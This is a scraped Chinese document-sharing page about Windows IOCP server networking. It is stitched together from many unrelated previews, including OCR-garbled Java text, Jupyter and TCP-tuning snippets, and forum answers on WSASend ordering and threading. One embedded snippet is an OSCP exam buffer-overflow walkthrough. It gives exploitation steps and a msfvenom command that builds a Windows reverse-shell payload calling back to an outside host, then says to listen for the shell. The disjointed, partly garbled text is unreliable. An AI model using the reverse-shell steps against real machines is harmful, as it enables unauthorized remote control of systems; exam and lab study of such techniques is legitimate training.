IOCP发送大数量的问题

合集下载

IOCP模型总结

IOCP模型总结

IOCP模型总结

IOCP模型的基本原理是使用操作系统提供的一个输入/输出完成端口,服务器在等待I/O完成时可以继续处理其他的请求(非阻塞),当操作系

统I/O操作完成之后,会通过回调函数的方式通知服务器,从而让服务器

能够及时处理已完成的请求。

2. 创建工作线程(CreateThread):服务器需要创建一定数量的工

作线程,用于处理来自客户端的请求和处理完成端口的通知。这些工作线

程会在每一个请求到来时进行处理,当有I/O操作完成时,通过回调函数

的方式通知工作线程进行处理。

1.高吞吐量:通过多线程异步I/O的方式,充分利用了硬件性能和操

作系统的特性,能够处理大量的并发请求,提高服务器的吞吐量。

2.高性能:由于保持了非阻塞状态,减少了线程的阻塞时间,服务器

能够更快地响应请求,提供更好的性能。

3.可扩展性好:通过使用多线程模型,服务器可以根据需要动态调整

工作线程的数量,以适应不同的负载情况。

4.高并发处理能力:IOCP模型使用操作系统的通知机制,可以同时

处理多个I/O请求,大大提高了服务器的并发处理能力。

5.方便管理和维护:IOCP模型对服务器的管理和维护提供了便利,

通过将I/O完成的通知传递给操作系统,不需要服务器自己去维护和管理

线程,也无需关心线程的创建和销毁等问题。

总之,IOCP模型是一种高性能、高并发的I/O处理模式,通过利用

操作系统的特性和硬件性能,提高了服务器的处理能力。它广泛应用于网

络服务器、数据库服务器等需要处理并发请求的场景,能够为用户提供更快速、更稳定的服务。

IOCP发送大数量的问题

IOCP发送大数量的问题

IOCP发送大数量的问题

1.IOCP发送大数量的问题

2.IOCP发送大数量的问题

有A,B两块数据,如AB两块数据,如果A数据比较大,异步只发送了一部分就返回了,B数据已经提交,这时候再发A剩下的部分就乱顺序了,该如何处理。

所有重叠操作可确保按照应用程序投递的顺序执行. 然而, 不能确保从完成端口返回的完成通知也按照上述顺序执行". 由此可见, "操作的执行"和"操作结果的通知"这二者的顺序并不能保证完成一致. 在这种情况下, 在这种情况下, 为每个客户端单独作一个发送队列, 有利于进行发送控制. 对于同一个客户端而言, 前一次发送的结果没有返回之前, 针对于同一socket, 不再发后续数据.当WSASend的时候,你的应用需要把应用缓冲提交给socket缓冲,然后系统会把socket缓冲提交给TCP 缓冲。这就算是一次完成的WSASend过程。当你的应用把应用缓冲提交给 socket缓冲成功后(注意,这个时候,应用缓冲并没有提交到TCP缓冲),这个时候,Get...就成功回收了(10M)。你Get..回收成功了,并不代表你的所有的数据都发送出去了。可能他们都在TCP 缓冲里(TCP缓冲也是有个最大值的,并不是提交任何大都可以,你可以尝试把10M提高继续测试下)。IOCP是要么提交成功要么提交失败,所以不用考虑发送出去半个包的情况。如何知道实际发送的数据量,这个拍拍脑袋就能想到办法,

接收方收到发送方的包回一个确认包就可以了,发送方收到确认包以后就知道成功发送的数据量。在发送方, 如何知道已经发了多少数据量, 还是依靠GET函数的返回数比较准确. 这个数字, 本身也是来自于底层TCP通信时的协议操作结果.我的意思是制订一个通讯协议以后就可以拆包和组包,因此在收到一个完整包以后就可以给发送方发包确认。

JAVA中的IOCP浅析

JAVA中的IOCP浅析

S e ve r r S o c k e t s e r v e r =n e w S e r v e r S o c k e t ( 9 0 8 0 ) ;
wh i l e ( t r u e ) { S o c k e t c l i e n t =s e r v e r . a c c e p t ( ) ;
率 得到 大大提 高 。 阻 塞调 用是 指 调用 结 果 返 回之前 , 当前 线 程会 被 挂起 , 函数 或方法 只有 在得到 结果之 后才会 返 回 。 阻塞 和 同步有 点类 似 , 但 是 同步 调用 的时候 线 程还 是 处 于激活状 态 , 而阻塞 时线程 会被挂 起 。

种应用系统使用线程池处理异步 l d O请求 的机
制 。J a v a 7中对 I O C P有 了很 好 的封装 , 程 序 员可 以 非 常方便 地 通过 封装 的 c h a n n e l 类 来读 写 和传 输数
据。
刻 得 到结 果之 前 , 该 函数 或 方法 不会 阻 塞 当前 线 程
Ge t Q u e u e d C o mp l e t i o n S t a t u s ( ) 这里。
具 体来说 , 一个完 成端 口大概 的处理 流程 包括 : ( 1 ) 创建 一 个完成 端 口。 P o r t p o r t = c r e a t e I o C o mp l e t i o n P o r t ( I N一

iocp的udp例子

iocp的udp例子

iocp的udp例子

首先,我们需要了解什么是IOCP(Input/Output Completion Port)以及它在网络编程中的作用。IOCP是Windows系统提供的一种高性能的I/O模型,它能够通过异步的方式处理大量的I/O操作,包括网络通信。通过IOCP,我们可以提高网络应用程序的并发性能和可扩展性。

在网络编程中,UDP(User Datagram Protocol)是一种无连接、不可靠的传输协议,它可以在网络上以较低的延迟发送数据包。相比于TCP协议,UDP协议更适合传输实时性较高的数据,如音视频等。

现在,我们将结合上述两个概念,通过一个简单的UDP例子来说明如何利用IOCP实现高性能网络通信。请注意,以下是一个基本的框架,并非可运行的完整代码。

首先,我们需要创建一个IOCP对象。在Windows系统中,可以通过调用CreateIoCompletionPort函数来实现:

c++

HANDLE completionPort =

CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);

接下来,我们需要创建一个UDP套接字,并将其绑定到指定的IP地址和端口上。通过调用bind函数来实现:

c++

SOCKET udpSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

sockaddr_in serverAddress;

serverAddress.sin_family = AF_INET;

简述iocp模型的原理和工作过程

简述iocp模型的原理和工作过程

简述iocp模型的原理和工作过程

IOCP模型的原理和工作过程如下:

原理:

IOCP模型的核心原理是利用操作系统提供的异步I/O和内核级事件通知机制。异步I/O使得应用程序可以在等待I/O完成时继续处理其他任务,而内核级事件通知机制可以使得操作系统在I/O完成后主动通知应用程序。通过将I/O操作的处理放在操作系统层面,IOCP模型能够实现高并发、高吞吐量的网络通信。

工作过程:

1.创建IOCP对象:应用程序首先创建一个IOCP对象,用于和操作系统进行通信。

2.绑定套接字:应用程序将要进行异步I/O操作的套接字与IOCP对象进行关联。

3.接受连接:应用程序使用套接字进行监听,并且接受到客户端连接请求后,将连接套接字与IOCP对象进行关联,从而使得这个连接套接字能够参与IOCP模型的异步I/O操作。

4.发送和接收数据:应用程序通过调用操作系统提供的异步I/O操作函数,发起网络数据的发送和接收操作。在发送和接收操作完成之前,应用程序可以继续处理其他任务。

5.等待通知:在发送和接收操作完成之后,应用程序会调用一个等待通知的函数,将自己挂起,等待操作系统的通知。

6.I/O完成通知:当操作系统中发生I/O操作完成的事件时,IOCP对

象会通知应用程序,并将I/O操作的结果返回给应用程序。

7.处理完成的I/O操作:应用程序在收到I/O完成的通知后,可以根

据返回的结果进行相应的处理。通常会将I/O操作的结果放入一个队列中,以便后续的处理。

8.处理队列中的完成操作:应用程序会不断地从队列中取出已完成的

I/O操作,并进行相应的处理。处理完成的操作后,应用程序可以继续发

tcp连接数量过多的解决方法

tcp连接数量过多的解决方法

tcp连接数量过多的解决方法

English:

There are a few ways to address excessive TCP connections. First, you can optimize your server configuration to handle a larger number of connections by increasing the maximum number of connections allowed. This can be done by adjusting the max_connections setting in your server's configuration file. Additionally, you can optimize your server's resource allocation to ensure that it can handle the increased connection load. This might involve upgrading hardware or fine-tuning the operating system to better manage TCP connections. Another approach is to implement connection pooling, which can help reduce the overall number of connections by reusing existing connections rather than creating new ones for each request. You can also consider implementing rate limiting and connection throttling to prevent excessive connections from overwhelming the server. Finally, it's important to regularly monitor and optimize your application code to ensure that it efficiently manages connections and doesn't unnecessarily create new ones.

一文搞定OSCP的缓冲区溢出

一文搞定OSCP的缓冲区溢出

⼀⽂搞定OSCP的缓冲区溢出

oscp中包含⼀台25分的缓冲区溢出漏洞靶机,题⽬相对简单主要是以思路考察为主,是oscp必拿的分数。这⼉写下相关的思路步骤。

考试时会给两台机器,⼀台实验机供考⽣调试程序,上⾯有immunity debugger 和漏洞程序,还有⼀台正式靶机,两台环境参数⼀模⼀样。考⽣只需要在实验机上调试好程序然

后利⽤最终脚本攻击正式靶机即可。

⾸先⼤致思路:

1 随意扔⼤字符串看程序是否崩溃,eip是否被覆盖

2 通过pattern_create.rb⽣成字符串扔进程序使其崩溃并使⽤pattern_offset.rb查找崩溃点的具体地址

3 验证 /可选

4 查看badchars ,注意要细看漏了坏字符会导致后⾯shellcode运⾏不成功

5 !mona modules 查看可⽤的dll模块

6 !mona find -s "\xff\xe4" -m xxmoudle #底下会弹出系列地址使⽤底下的地址即可

7 替换eip的地址注意要颠倒词序

8 点击菜单栏蓝⾊箭头输⼊上⾯的地址如625011af;右键设置断点,确认是否正确

9 ⽣成shellcode ,使⽤⼩括号连接(shellcode),注意最后连接时加'\x90'*32

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.2.105 LPORT=4444 -b "\x00" EXITFUNC=thread -f c

10 侦听4444,执⾏脚本,拿到shell

IOCP机制与网络代理服务器实现方法

IOCP机制与网络代理服务器实现方法

IOCP机制与网络代理服务器实现方法摘要]]IOCP是一种在Windows服务平台上比较成熟的I/O方法,针对大量并发客户[摘要

请求问题,采用IOCP多线程控制模型建立高效网络代理服务器思想,能够较好地代理服务器中的多线程竞争问题。本文在比较基于该模型的两种编程方案的基础上,给出了基于Windows2000的网络代理服务器的设计与代理实现过程。

关键词:完成端口重叠I/O多线程

1、引言

网络代理服务器的主要作用是将客户端的访问请求转发到远程服务端,并将应答信息回传给客户端。随着Internet应用的迅速发展和应用,代理服务器的作用及其性能已显得越来越重要了。

一个好的代理服务器应该具备高可靠性和可扩展性并能在不丧失性能的前提下,可同时为多个客户端提供服务。开发代理服务器程序的难点在于代理程序应该具有可扩展性,并能处理从单个连接到乃至数千个连接请求。代理服务程序一般采用“以客户/一线程”的工作模式,即为每一个连接创建一个线程。然而,当请求连接的客户增多,线程的数目就会大量增加,因此,操作系统必须花费额外的资源和时间来协调众多的线程,一旦处理不当,将会造成系统资源负荷过重,甚至可能导致整个系统瘫痪。

针对上述问题,利用IOCP机制可以较好地解决代理服务器的多线程竞争所带来的问题。

2、IOCP机制

IOCP(I/O Completion Port输入/输出完成端口)是一种能能够合理利用与管理多线程的机制。该机制使用完成端口,用一定数量的线程处理重叠I/O的技术,帮助处理大量客户端请求的网络代理服务问题,特别适合于开发像代理服务器一类的应用程序,并可使系统的性能达到较佳状态。IOCP模型结构如图1所示。

20k并发量的IOCP

20k并发量的IOCP

对于开发一款高性能服务器程序,广大服务器开发人员在一直为之奋斗和努力.其中一个影响服务器的重要瓶颈就是服务器的网络处理模块.如果一款服务器程序不能及时的处理用户的数据.则服务器的上层业务逻辑再高效也是徒劳.所以一个服务器程序的网络处理能力直接影响到整个服务器的性能, 本文主要介绍在windows平台下开发高性能的网络处理模块以及自己在设计开发服务器网络模块遇到的一些问题和开发心得.本篇主要介绍TCP服务器的设计, 下一篇将主要介绍UDP服务器的设计.

众所周知, 对于服务器来说windows下网络I/O处理的最佳方式就是完成端口, 因此本服务器的开发主要基于完成端口的模式.完成端口(completion port)是应用程序使用线程池处理异步I/O请求的一种机制.将创建好的socket和完成端口绑定后就可以向该socket上投递相应的I/O操作, 当操作完成后I/O系统会向完成端口发送一个通知包;应用程序通过GetQueuedCompletionStatus()函数获取这些通知包并进行相应的处理.下面切入正题谈谈TCP 服务器的开发.

本人在开发TCP服务器的经过了两个阶段, 第一次设计出来的TCP服务器网络层只能支持5000 –8000个在线用户同时和服务器交互, 但是会出现一些莫名其妙的系统异常.所以网络层不是很稳定.这次开发主要用到一个系统的I/O线程池函数BindIoCompletionCallback() 该函数在win2000以后都支持, BindIoCompletion-

测试服务器的最大并发的连接数

测试服务器的最大并发的连接数

测试服务器的最⼤并发的连接数

今天上午测试了⼀下这段时间写的服务器的程序,主要测试的是服务器的最⼤的并发的连接数.

服务器端使⽤的是ACE的前摄式(Proactor)模式,该模式在Windows平台下也就是⼤名⿍⿍的IOCP模型。(内存4G、CPU4核)

模拟客户端测试程序的编写,采⽤多线程,⼀个线程对应⼀个连接,⼀个线程分配16K的线程空间,这样可以⽣成1万个线程(进程的地址空间2G / 16 * 1024)。客户端的⼯作:连接服务器,连接成功后,每隔1秒向服务器发送数据。

测试结果如下:

I/O模型尝试数/连接成功数

IOCP 10000/10000

注意事项:

在模拟客户端程序对应的机器上,需要修改注册表:

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services下

连接成功数<4000如下图:

如果不改注册表的话,相应的

如果不改注册表的话,相应的连接成功数

TcpNumConnections

Key: Tcpip/Parameters

取值类型:REG_DWORD - Number

取值范围:0 - 0xfffffe

缺省值:0xfffffe

描述:本参数限制可以同时打开的TCP连接的数量

MaxUserPort

key: Tcpip/Parameters

取值类型:REG_DWORD - Number

取值范围:5000-65534 (⼗进制)

缺省值:0x1388 (5000 ⼗进制)

描述:控制⼀个应⽤程序可以打开的最多端⼝数量。通常,短命的端⼝在1024-5000之间分配。

IOCP在服务器开发中的应用

IOCP在服务器开发中的应用

IOCP在服务器开发中的应用

引言

基于Socket的网络通信服务已经使用得相当普遍,然而一个服务器应用程序,假如不能够同时为多个客户端提供服务,那它就没有什么意义可言。针对一个服务器应用程序底层通信模块的设计,要使其在给定的时间内同时控制几个套接字,采用重叠的I/O机制是比较好的,但是要求服务器在任何给定时间内都会为海量I/O请求提供服务,Winsock 2.0中引入的内核级完成端口(Input/Output Completion Port,IOCP)是处理大量并发连接的最佳处理方案。相对于其他I/O模型,IOCP针对操作系统内部进行了优化,提供了较好的伸缩性和较高的数据吞吐率,满足服务器的高性能要求。文中针对基于IOCP通信模式的服务器程序的实现进行了探讨。

一、完成端口(IOCP)

IOCP模型是微软提供的用于Windows系统上高效处理各种设备I/O的一种机制,它提供了一个高效复杂的内核对象,该对象通过指定数量的线程。对重叠的I/O操作完成进行处理。它的核心思想简单概括如下:将所有用户的请求投递到一个消息队列中,利用事先创建好的若干个工作者线程逐一从消息队列中取出消息并加以处理。它可以为任何用户的任何I/O操作服务,只需少数几个线程就可以处理大量I/O请求,避免CPU花费时间在大量的线程调度上,提高了资源的利用率。

1.1 重叠I/O

IOCP模型是基于重叠I/O技术的。重叠I/O(Overlapped I/O)是Win32的一项技术,它的基本原理是让应用程序使用一个重叠的数据结构(OVERLAPPED),一次投递—个或多个I/O请求。不论该请求是否已经完成,做投递动作的函数马上返回,I/O的实际工作则交由操作系统底层处理。

简述iocp模型的原理和工作过程

简述iocp模型的原理和工作过程

简述iocp模型的原理和工作过程

IOCP(Input/Output Completion Port)模型是一种高效的异步IO 机制,它可以帮助我们更好地处理并发IO请求。在本文中,我们将详细介绍IOCP模型的原理和工作过程。

一、IOCP模型的基本原理

1.1 异步IO

在传统的同步IO模型中,当程序调用一个IO操作时,它必须等待该操作完成后才能继续执行后面的代码。这种方式会导致程序在等待IO 操作完成时出现阻塞,从而浪费了CPU资源。

相比之下,异步IO模型允许程序调用一个IO操作后立即返回,并在后台处理该操作。当该操作完成时,系统将通知程序,并返回结果。这种方式可以提高程序的并发性和吞吐量。

1.2 IOCP机制

为了更好地支持异步IO,Windows引入了IOCP机制。它是一种通知机制,可以帮助我们更好地处理异步IO请求。

具体来说,当一个异步IO请求被提交到系统中时,系统会为其分配一个I/O Completion Port(即完成端口)。当该请求完成时,系统将通知该端口,并返回相关信息。程序可以通过监听该端口来获取请求完成的通知,并进行相应的处理。

二、 IOCP模型的工作过程

2.1 创建I/O Completion Port

首先需要创建I/O Completion Port(以下简称IOCP)。可以通过CreateIoCompletionPort函数来创建一个IOCP。该函数返回一个句柄,该句柄用于后续的操作。

2.2 将Socket与IOCP关联

接下来需要将Socket与IOCP关联。可以通过CreateIoCompletionPort或者WSAEventSelect函数来实现。

iopub message rate exceeded

iopub message rate exceeded

iopub message rate exceeded

如何解决“iopub message rate exceeded”错误。

在使用Jupyter Notebook进行编程或数据分析时,可能会遇到“iopub message rate exceeded”错误。这个错误通常意味着Jupyter内核(kernel)试图发送过多的消息给前端(frontend),导致消息传递速率超出了默认限制。这可能是由于计算资源的限制,或者代码中产生了大量的输出。在本文中,我们将一步一步地探讨如何解决这个错误。

第一步:了解问题起因

当你在Jupyter Notebook中运行代码时,内核和前端之间会通过消息传递机制进行通信。这些消息可以是代码输出、错误提示、变量赋值等等。然而,Jupyter内核对于消息传递有一个默认的限制,即每段时间内只能发送一定数量的消息。当内核尝试发送过多的消息时,就会触发“iopub message rate exceeded”错误。

第二步:检查代码中的输出

一个常见的原因是在代码中产生了大量的输出。检查你的代码,看看是否有循环或其他可能导致大量输出的地方。如果你的代码确实需要产生大量的输出,那么可以考虑限制输出的数量,或者使用其他方法存储输出,例

如将结果保存到文件中。

第三步:增加消息传递的限制

如果你的代码确实需要产生大量的输出,并且你的计算资源允许,那么可以尝试增加Jupyter内核对消息传递的限制。你可以在Jupyter Notebook中的配置文件中修改`iopub_rate_limit`参数的值。这个参数控制了消息传递的速度,以消息的数量为单位。增加这个值可能会增加代码执行的速度,但也会占用更多的计算资源。

IOCP详解

IOCP详解

IOCP详解

简介: IOCP(I/O Completion Port,I/O完成端⼝)是性能最好的⼀种I/O模型。它是应⽤程序使⽤线程池处理异步I/O请求的⼀种机制。IOCP详解

IOCP(I/O Completion Port,I/O完成端⼝)是性能最好的⼀种I/O模型。它是应⽤程序使⽤线程池处理异步I/O请求的⼀种机制。在处理多个并发的异步I/O请求时,以往的模型都是在接收请求是创建⼀个线程来应答请求。这样就有很多的线程并⾏地运⾏在系统中。⽽这些线程都是可运⾏的,Windows内核花费⼤量的时间在进⾏线程的上下⽂切换,并没有多少时间花在线程运⾏上。再加上创建新线程的开销⽐较⼤,所以造成了效率的低下。

Windows Sockets应⽤程序在调⽤WSARecv()函数后⽴即返回,线程继续运⾏。当系统接收数据完成后,向完成端⼝发送通知包(这个过程对应⽤程序不可见)。

应⽤程序在发起接收数据操作后,在完成端⼝上等待操作结果。当接收到I/O操作完成的通知后,应⽤程序对数据进⾏处理。

完成端⼝其实就是上⾯两项的联合使⽤基础上进⾏了⼀定的改进。

⼀个完成端⼝其实就是⼀个通知队列,由操作系统把已经完成的重叠I/O请求的通知放⼊其中。当某项I/O操作⼀旦完成,某个可以对该操作结果进⾏处理的⼯作者线程就会收到⼀则通知。⽽套接字在被创建后,可以在任何时候与某个完成端⼝进⾏关联。

众所皆知,完成端⼝是在WINDOWS平台下效率最⾼,扩展性最好的IO模型,特别针对于WINSOCK的海量连接时,更能显⽰出其威⼒。其实建⽴⼀个完成端⼝的服务器也很简单,只要注意⼏个函数,了解⼀下关键的步骤也就⾏了。

IOCP使用时常见的几个错误

IOCP使用时常见的几个错误

IOCP使用时常见的几个错误

2009-09-26 23:03

在使用IOCP时,最重要的几个API就是GetQueueCompeltion Status、WSARecv、WSASend,数据的I/O及其完成状态通过这几个接口获取并进行后续处理。

GetQueueCompeltionStatus attempts to dequeue an I/O co mpletion packet from the specified I/O completion port. If there is no completion packet queued, the function waits for a pendi ng I/O operation associated with the completion port to comple te.

BOOL WINAPI GetQueuedCompletionStatus( __in HANDL E CompletionPort, __out LPDWORD lpNumberOfBytes, __out PULONG_PTR lpCompletionKey, __out LPOVERLAPPED *lpOver lapped, __in DWORD dwMilliseconds );

If the function dequeues a completion packet for a successf ul I/O operation from the completion port, the return value is no nzero. The function stores information in the variables pointed t o by the lpNumberOfBytes, lpCompletionKey, and lpOverlappe d parameters.

Windows之IOCP

Windows之IOCP

Windows之IOCP

IOCP全称I/O Completion Port,中⽂译为I/O完成端⼝。IOCP是⼀个异步I/O的Windows API,它可以⾼效地将I/O事件通知给应⽤程序,类似于Linux中的Epoll,关于epoll可以参考

1. 简介

IOCP模型属于⼀种通讯模型,适⽤于Windows平台下⾼负载服务器的⼀个技术。在处理⼤量⽤户并发请求时,如果采⽤⼀个⽤户⼀个线程的⽅式那将造成CPU在这成千上万的线程间进⾏切换,后果是不可想象的。⽽IOCP完成端⼝模型则完全不会如此处理,它的理论是并⾏的线程数量必须有⼀个上限-也就是说同时发出500个客户请求,不应该允许出现500个可运⾏的线程。⽬前来说,IOCP完成端⼝是Windows下性能最好的I/O模型,同时它也是最复杂的内核对象。它避免了⼤量⽤户并发时原有模型采⽤的⽅式,极⼤的提⾼了程序的并⾏处理能⼒。

2. 原理图

⼀共包括三部分:完成端⼝(存放重叠的I/O请求),客户端请求的处理,等待者线程队列(⼀定数量的⼯作者线程,⼀般采⽤CPU*2个)

完成端⼝中所谓的[端⼝]并不是我们在TCP/IP中所提到的端⼝,可以说是完全没有关系。它其实就是⼀个通知队列,由操作系统把已经完成的重叠I/O请求的通知放⼊其中。当某项I/O操作⼀旦完成,某个可以对该操作结果进⾏处理的⼯作者线程就会收到⼀则通知。

通常情况下,我们会在创建⼀定数量的⼯作者线程来处理这些通知,也就是线程池的⽅法。线程数量取决于应⽤程序的特定需要。理想的情况是,线程数量等于处理器的数量,不过这也要求任何线程都不应该执⾏诸如同步读写、等待事件通知等阻塞型的操作,以免线程阻塞。每个线程都将分到⼀定的CPU时间,在此期间该线程可以运⾏,然后另⼀个线程将分到⼀个时间⽚并开始执⾏。如果某个线程执⾏了阻塞型的操作,操作系统将剥夺其未使⽤的剩余时间⽚并让其它线程开始执⾏。也就是说,前⼀个线程没有充分使⽤其时间⽚,当发⽣这样的情况时,应⽤程序应该准备其它线程来充分利⽤这些时间⽚。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

1.IOCP发送大数量的问题

2.IOCP发送大数量的问题

有A,B两块数据,如AB两块数据,如果A数据比较大,异步只发送了一部分就返回了,B数据已经提交,这时候再发A剩下的部分就乱顺序了,该如何处理。

所有重叠操作可确保按照应用程序投递的顺序执行. 然而, 不能确保从完成端口返回的完成通知也按照上述顺序执行". 由此可见, "操作的执行"和"操作结果的通知"这二者的顺序并不能保证完成一致. 在这种情况下, 在这种情况下, 为每个客户端单独作一个发送队列, 有利于进行发送控制. 对于同一个客户端而言, 前一次发送的结果没有返回之前, 针对于同一socket, 不再发后续数据.当WSASend的时候,你的应用需要把应用缓冲提交给 socket缓冲,然后系统会把socket缓冲提交给TCP 缓冲。这就算是一次完成的WSASend过程。当你的应用把应用缓冲提交给 socket缓冲成功后(注意,这个时候,应用缓冲并没有提交到TCP缓冲),这个时候,Get...就成功回收了(10M)。你Get..回收成功了,并不代表你的所有的数据都发送出去了。可能他们都在TCP缓冲里(TCP缓冲也是有个最大值的,并不是提交任何大都可以,你可以尝试把10M提高继续测试下)。 IOCP是要么提交成功要么提交失败,所以不用考虑发送出去半个包的情况。如何知道实际发送的数据量,这个拍拍脑袋就能想到办法,

接收方收到发送方的包回一个确认包就可以了,发送方收到确认包以后就知道成功发送的数据量。在发送方, 如何知道已经发了多少数据量, 还是依靠GET函数的返回数比较准确. 这个数字, 本身也是来自于底层TCP通信时的协议操作结果.我的意思是制订一个通讯协议以后就可以拆包和组包,因此在收到一个完整包以后就可以给发送方发包确认。

2.IOCP:GetQueuedCompletionStatus返回后,完成事件处理时间相当长。

感觉单独用线程处理请求要好一些,但是从我刚才性能分析来看在通常情况下I/O线程和处理线程合并起来性能要好一些,同时处理耗时操作的线程比单独用来处理耗时操作的线程个数要多,所以性能当然要好一些。

但是,带来一个负面问题,本来我使用一个队列和一个线程来处理数据包,这样在游戏的逻辑部分不存在线程同步的问题。如果将处理过程放进GET线程的话,就变成N多个线程处理数据包了,虽然在socket的读取这层性能提高了,但是当数据包到达逻辑层后,

还是需要频繁的加锁的阿~同样是有消耗的,甚至消耗会更大。

IOCP有多个get线程,这些线程互不相关,只负责处理socket上的读取,以及读取后针对不同的session进行拼包。这个过程不需要做任何的同步锁定。当拼包完成后,即获取到了一个完整的逻辑包时,将其插进处理队列,这里队列需要锁定一次。然后,有一个单独的处理线程,从

队列中取逻辑包出来处理,这个线程即逻辑层的单线程。这样做的好处是,尽量将没有逻辑意义的处理放进多个线程处理,将最后的结果(即需要逻辑处理的东西),交给单线程处理。以最大限度的缩短单线程处理数据包的时间。关于多线程还是单线程, 这个问题的争论由来已久. 总体而言, 我们需要在这两者之间作个权衡, 我比较赞同的观点是: 主逻辑线程只有一个, 如果主逻辑线程中存在耗时较长的逻辑, 则想办法分离, 分离的方法其中之一就是看这部分逻辑能否并行处理, 如果可以, 就在这里作"分阶段"的多线程. 主逻辑线程为多个时,带来的是调试和纠错等相关的时间开销. 这类服务器的业务逻

辑I/O负载比较大,根本无法单线程处理。在这种环境下开多个GET***

就比通过队列单线程来处理业务逻辑要高效的多。

我认为调用Get***和处理在同一个线程也没关系,只要开个线程足够多,比如10个Thread。

比你开4个Get**线程,6个处理线程的效率肯定要高,因为线程间要通过队列来传递数据,

如果10个线程都是Get***,没有这部分内存拷贝(或者内存池分配释放)和数据加锁的开销。

效率当然要高。1其他请求会排队的。 2,应该是得到事件。 3, WINDOWS会跟踪状态。一个线程阻塞了,其他线程会得到时间处理。

现在的做法是每次调用wsarecv时投递下去的缓冲区长度就是下次希望收到的完整数

据包的长度,每次GetQueuedCompletionStatus返回后检查缓冲区是否填满,若没填满则继续下次 GetQueuedCompletionStatus调用,若填满了就调用数据处理流程。

结论:同步的操作和不费时的操作,尽量放在多线程中执行,需要异步的,比如数据库操作,可以用单独的线程处理(队列),也可以开多个工作线程来处理。

3. IOCP投递数据包顺序的问题:

问题一:

在一个连接上,我投递一个WSASend发送1K的数据出去,这时候下面的缓冲区里却只剩下512字节的空间,这时候,内核就会把这1K数据里的512字节拷贝到缓冲区里发出去,然后在GetQueueCompleteStatus里返回TRUE,并且在参数里指明只发送了512字节,这时候我们需要继续发送剩下的512字节才能保证把整个1K的数据发送完成,如果在GetQueueCompleteStatus返回后,我们继续发送剩下的512字节的这一个间隙,,刚好另外一个线程投递了一个WSASend发送1K的数据,而这时候下面的缓冲区空了,这1K的数据将被完全发送出去,然后内核才调度到我们继续发送剩下的512字节的这个线程,那么在客户端收到的数据就成了这样: 512字节+1K字节+512字节,而实际上我们希望客户端收到的数据是: 1K(第一次发送的)+1K(第二次WSASend)发送的。同样,如果多次在一个连接上调用WSARecv,也会出现数据错乱的问题。使用异步IO的时候,最好能保证上一个IO彻底完成后才继续发出下一个IO。

答:一次只投递一个。在带宽不够的情况下,完成端口没有完成投递给他的-工作就返回了完成包.

问题二:

相关文档
最新文档